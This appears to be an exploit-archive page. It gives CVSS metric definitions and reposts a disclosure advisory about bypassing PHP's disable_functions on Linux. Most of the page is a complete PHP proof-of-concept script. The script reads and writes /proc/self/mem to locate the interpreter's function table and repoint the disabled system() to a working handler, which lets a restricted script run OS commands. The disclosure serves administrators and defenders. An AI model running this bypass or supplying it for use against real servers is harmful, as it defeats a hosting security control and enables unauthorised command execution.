The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
High
AC
The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: PHP PHP_INI_SYSTEM Ineffective Controls
"PHP is a popular general-purpose scripting language that is
especially suited to web development."
PHP has deployed several features over the years that are prone to
incorrect architectural decisions (safe mode
https://www.php.net/manual/en/features.safe-mode.php or open_basedir
http://news.php.net/php.internals/105606), to have unexpected security
implications (register globals
https://www.php.net/manual/en/security.globals.php), or simply
violated architectural patterns and ended up in a mess (magic quotes
gpc - https://www.php.net/manual/en/security.magicquotes.php).
This advisory is about to expand this list: security controls
configured via php.ini directives at the PHP_INI_SYSTEM level are
ineffective as they could be bypassed by malicious scripts via writing
their own process memory on the Linux platform.
As an example, a threat actor could exploit this flaw to execute PHP
functions that have been disabled via the disable_functions directive.
It is quite common to disable the exec family of PHP functions aiming
to prevent OS command execution in PHP scripts. This weakness enables
executing OS commands in restricted configurations.
The attack has been reported to the PHP maintainers
(https://bugs.php.net/bug.php?id=78006) along with a proof of concept
code (https://github.com/irsl/php-bypass-disable-functions) and the
recommendation to introduce a new security measure via the fopen
wrappers to prevent tampering with /proc/self/mem. The issue was
acknowledged but the proposal was rejected saying the attack could be
mounted via PHP extensions as well, and this shall be addressed at the
operating system level instead.
At this point, I decided to publish this advisory, so that system
administrators who rely on php.ini settings as their primary/only line
of defense shall revisit their configuration and follow another
approaches to secure their applications.
------
proof of concept
php-bypass-disable-functions
Demo project how to bypass the disable_functions security control of PHP on Linux
Tested on PHP 7.3.5, x86_64 Linux
how to use
regularuser@7981d86dd9aa:/$ ./php-7.3.5-vanilla/sapi/cli/php -d 'disable_functions=system' disfunpoc.php
Warning: system() has been disabled for security reasons in /repo-shared/disabled_functions/disfunpoc.php on line 2
uid=1000(regularuser) gid=1000(regularuser) groups=1000(regularuser)
disfunpoc.php:
<?php
system("id");
selfpatch();
system("id");
function selfpatch(){
$maps = read_proc_maps();
$cg = read_compiler_globals($maps);
$funs = read_function_table($cg);
$fn_passthru = $funs["passthru"] or die("no passthru?");
$fn_exec = $funs["exec"] or die("no exec?");
$fn_system = $funs["system"] or die("no system?");
/*
the functions above are defined right after each other, their zif_handler is allocated on the heap
subsequently. The difference of their addresses on 64 bit architectures is:
--enable-debug builds: 43 bytes
normal builds: 16 bytes
Anyway, lets calculate the correct number properly by comparing htmlspecialchars and htmlspecialchars_decode:
*/
$fn_htmlspecialchars = $funs["htmlspecialchars"] or die("no htmlspecialchars?");
$fn_htmlspecialchars_decode = $funs["htmlspecialchars_decode"] or die("no htmlspecialchars_decode?");
$zif_diff = $fn_htmlspecialchars_decode["zif_handler_addr"]-$fn_htmlspecialchars["zif_handler_addr"];
debug("zip_diff is: ".$zif_diff);
$real_zif_system_addr = $fn_exec["zif_handler_addr"] + $zif_diff;
$real_zif_system_addr_bin = pack("Q", $real_zif_system_addr);
$fd = fopen("/proc/self/mem", "r+b") or die("couldnt open memory for reading and writing");
if(fseek($fd, $fn_system["internal_func_addr"]+32)) die("Cannot access zend_internal_function of system");
// we are at num_args.
if(4 != fwrite($fd, $fn_passthru["num_args_bin"])) die("patching num args failed");
fread($fd, 4); // skipping required_num_args
if(8 != fwrite($fd, $fn_passthru["arg_info_addr_bin"])) die("patching arg info failed");
if(8 != fwrite($fd, $real_zif_system_addr_bin)) die("patching zif_handler failed");
fclose($fd);
}
function read_zend_string($fd, $addr) {
if(fseek($fd, $addr+16)) die("Cannot access function name at $i");
$b = fread($fd, 8);
$lena = unpack("Q", $b);
return fread($fd, $lena[1]);
}
function read_function_from_bucket($fd, $i) {
$re = Array();
if(fseek($fd, $i)) die("Cannot access bucket at $i");
$b = fread($fd, 8);
$na = unpack("Q", $b);
$re["internal_func_addr"] = $na[1];
$re["internal_func_addr_hex"] = dechex($na[1]);
if(fseek($fd, $re["internal_func_addr"]+4)) die("Cannot access function name at $i");
$b = fread($fd, 4);
$na = unpack("L", $b);
$re["fn_flags"] = $na[1];
$b = fread($fd, 8);
$na = unpack("Q", $b);
$re["function_name_addr"] = $na[1];
$re["function_name_addr_hex"] = dechex($na[1]);
fread($fd, 16); // skipping zend_class_entry and zend_function ptrs
$b = fread($fd, 4);
$na = unpack("L", $b);
$re["num_args_bin"] = $b;
$re["num_args"] = $na[1];
fread($fd, 4); // skipping required_num_args
$b = fread($fd, 8);
$na = unpack("Q", $b);
$re["arg_info_addr_bin"] = $b;
$re["arg_info_addr"] = $na[1];
$re["arg_info_addr_hex"] = dechex($na[1]);
$b = fread($fd, 8);
$na = unpack("Q", $b);
$re["zif_handler_addr"] = $na[1];
$re["zif_handler_addr_hex"] = dechex($na[1]);
$re["func_name"] = read_zend_string($fd, $re["function_name_addr"]);
debug(print_r($re, true));
// sleep(1); exit;
return $re;
}
function read_function_table($cg) {
$re = Array();
$fd = fopen("/proc/self/mem", "rb") or die("couldnt open memory for reading");
/*
(gdb) p (void*) &(compiler_globals->function_table->nNumUsed) - (void*) &(compiler_globals->function_table->gc)
$6 = 24
*/
$ardata_pos = $cg["function_table_address"]+16;
if(fseek($fd, $ardata_pos)) die("Cannot access the function HashTable");
$b = fread($fd, 8);
$nnum = unpack("Q", $b);
$arDataBase = $nnum[1];
$b = fread($fd, 8);
$nnum = unpack("L*", $b);
$nNumUsed = $nnum[1];
$nNumOfElements = $nnum[2];
debug("Number of functions: $nNumUsed/$nNumOfElements");
$addr = $arDataBase;
for($i = 0; $i < $nNumUsed; $i++) {
$fun = read_function_from_bucket($fd, $addr);
$re[$fun["func_name"]] = $fun;
/*
(gdb) p (void*)&(compiler_globals->function_table->arData[1]) - (void*)&(compiler_globals->function_table->arData[0])
$10 = 32
*/
$addr += 32;
}
fclose($fd);
return $re;
}
function find_compiler_globals_at($fd, $i) {
if(fseek($fd, $i)) die("couldnt access memory at: $i\n");
$b = fread($fd, 16);
$up = unpack("L*", $b);
// print_r($up); //exit;
if(($up[1] == 12) && ($up[2] == 0) && ($up[3] == 16) && ($up[4] == 0)) {
debug(sprintf("Compiler global struct found at: %d (%s)", $i, dechex($i)));
return $i;
}
return 0;
}
// Function based on some dummy heuristics. Could be improved to be more robust/reliable.
function read_compiler_globals($maps){
$fd = fopen("/proc/self/mem", "rb") or die("couldnt open memory for reading");
$addr = 0;
foreach($maps as $map) {
debug("reading memory: ".print_r($map, true));
$i = $map["mem_region_begin"];
while($i + 16 <= $map["mem_region_end"]) {
if($addr = find_compiler_globals_at($fd, $i)) {
break;
}
$i+= 8;
}
if($addr) break;
}
if(!$addr) die("Couldnt find compiler globals");
/*
(gdb) p &(compiler_globals->function_table)
$4 = (HashTable **) 0x7fedf14d4d78 <compiler_globals+56>
*/
if(fseek($fd, $addr+56)) die("couldnt access memory at: $i\n");
$b = fread($fd, 8);
$ft = unpack("Q", $b)[1];
$re = Array(
"compiler_global_address" => $addr,
"compiler_global_address_hex" => dechex($addr),
"function_table_address" => $ft,
"function_table_address_hex" => dechex($ft),
);
fclose($fd);
debug(print_r($re, true));
return $re;
}
function read_proc_maps(){
$maps_str = file_get_contents("/proc/self/maps") or die("Cant read proc maps");
debug($maps_str);
$re = Array();
#
preg_match_all('/([0-9a-f]+)-([0-9a-f]+) ([rwxp-]+) [0-9a-f]+ \d+:\d+ \d+(.*)/', $maps_str, $matches);
# print_r($matches);
$php_seen = 0;
for($i = 0; $i < count($matches[0]); $i++) {
$a = Array(
"executable" => trim($matches[4][$i]),
"perms" => $matches[3][$i],
"mem_region_begin_hex"=> $matches[1][$i],
"mem_region_end_hex"=> $matches[2][$i],
"mem_region_begin"=> hexdec($matches[1][$i]),
"mem_region_end"=> hexdec($matches[2][$i]),
);
// echo "$executable: $perms\n";
if((endsWith($a["executable"], "/php"))&&($a["perms"] == "r-xp")) {
$php_seen = 1;
}
if($a["executable"] == "[heap]") {
array_push($re, $a);
}
elseif($a["perms"] == "rw-p") {
if((endsWith($a["executable"], "/php")||(($a["executable"] == "") && $php_seen)))
array_push($re, $a);
}
}
if(!count($re)) die("Couldnt find any interesting memory regions");
debug(print_r($re, true));
return $re;
}
function endsWith($haystack, $needle) {
return substr_compare($haystack, $needle, -strlen($needle)) === 0;
}
function debug($m) {
return;
echo "$m\n";
}
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum